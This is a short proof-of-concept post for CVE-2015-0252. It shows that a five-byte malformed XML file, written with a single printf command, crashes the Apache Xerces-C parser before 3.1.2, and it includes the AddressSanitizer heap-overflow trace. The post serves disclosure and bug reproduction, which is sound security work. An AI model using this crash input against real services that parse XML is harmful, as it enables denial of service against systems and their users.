Apache Xerces-C XML Parser Denial Of Service

`# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC  
# Date: 2015-05-03  
# Exploit Author: beford  
# Vendor Homepage: http://xerces.apache.org/#xerces-c  
# Version: Versions prior to 3.1.2  
# Tested on: Ubuntu 15.04  
# CVE : CVE-2015-0252  
  
Apache Xerces-C XML Parser Crashes on Malformed Input  
  
I believe this to be the same issue that was reported on CVE-2015-0252,  
posting this in case anyone is interested in reproducing it.  
  
Original advisory:  
https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt  
  
$ printf "\xff\xfe\x00\x00\x3c" > file.xml  
  
$ DOMPrint ./file.xml # Ubuntu 15.04 libxerces-c3.1 package  
Segmentation fault  
  
$ ./DOMPrint ./file.xml # ASAN Enabled build  
=================================================================  
==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c  
at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798  
READ of size 1 at 0xb5d9d87c thread T0  
#0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer()  
xercesc/internal/XMLReader.cpp:1719  
#1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*,  
unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761  
#2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer()  
xercesc/internal/XMLReader.cpp:576  
#3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short  
const*) xercesc/internal/XMLReader.cpp:1223  
#4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short  
const*) xercesc/internal/ReaderMgr.hpp:385  
#5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool)  
xercesc/internal/XMLScanner.cpp:1608  
#6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog()  
xercesc/internal/XMLScanner.cpp:1244  
#7 0x8d69220 in  
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)  
xercesc/internal/IGXMLScanner.cpp:206  
#8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short  
const*) xercesc/internal/XMLScanner.cpp:400  
#9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)  
xercesc/internal/XMLScanner.cpp:408  
#10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)  
xercesc/parsers/AbstractDOMParser.cpp:601  
#11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398  
#12 0xb6f5272d in __libc_start_main  
(/lib/i386-linux-gnu/libc.so.6+0x1872d)  
#13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5)  
  
0xb5d9d87c is located 0 bytes to the right of 163964-byte region  
[0xb5d75800,0xb5d9d87c)  
allocated by thread T0 here:  
#0 0xb72c3ae4 in operator new(unsigned int)  
(/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4)  
#1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int)  
xercesc/internal/MemoryManagerImpl.cpp:40  
#2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int,  
xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68  
#3 0x8daaaa7 in  
xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&)  
xercesc/internal/IGXMLScanner2.cpp:1284  
#4 0x8d6912a in  
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)  
xercesc/internal/IGXMLScanner.cpp:198  
#5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short  
const*) xercesc/internal/XMLScanner.cpp:400  
#6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)  
xercesc/internal/XMLScanner.cpp:408  
#7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)  
xercesc/parsers/AbstractDOMParser.cpp:601  
#8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398  
#9 0xb6f5272d in __libc_start_main  
(/lib/i386-linux-gnu/libc.so.6+0x1872d)  
  
SUMMARY: AddressSanitizer: heap-buffer-overflow  
xercesc/internal/XMLReader.cpp:1719  
xercesc_3_1::XMLReader::refreshRawBuffer()  
  
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